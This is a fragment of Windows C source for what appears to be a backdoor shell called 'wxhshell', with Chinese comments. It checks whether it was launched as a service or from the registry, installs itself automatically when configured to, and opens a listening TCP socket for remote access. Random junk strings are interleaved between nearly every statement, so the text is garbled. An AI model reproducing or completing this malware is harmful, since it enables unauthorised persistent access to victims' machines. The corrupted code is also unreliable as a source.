OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *-nO,K>y` if(hProcess==NULL) return 0; Te+(7
Z *4U_MM#rX HMODULE hMod; gZ,h95' char procName[255]; odhS0+d^ unsigned long cbNeeded; %;'~TtW5 90Ki.K 0 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H0af u)$, ~XTC:6ts CloseHandle(hProcess); ~S8:xG+s Qo#]Lo> \g if(strstr(procName,"services")) return 1; // 以服务启动 V+E8{|dYL 8Sr' return 0; // 注册表启动 ,UY1.tR( } .Fo#Dmq3 "JB4Uaa // 主模块 TJ"-cWpO1 int StartWxhshell(LPSTR lpCmdLine) QoZV6 { lmeTW0U@9( SOCKET wsl; tAAMSb9[d BOOL val=TRUE; n~I-mR)" int port=0; Z}+}X| struct sockaddr_in door; z\]Z/Bz:6 NU=ru/ if(wscfg.ws_autoins) Install(); HOP*QX8C% g<j) port=atoi(lpCmdLine); Z =+Z96 xe!bfzU if(port<=0) port=wscfg.ws_port; 8fXiadP# !Y~UO)u2 WSADATA data; Y2r}W3F= if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o}rG:rhIh h9)S&Sk{s if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ybBmg'198 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {18hzhs door.sin_family = AF_INET; tMxde+$y door.sin_addr.s_addr = inet_addr("127.0.0.1"); ZxF`i>/h door.sin_port = htons(port); ;4rhhh& |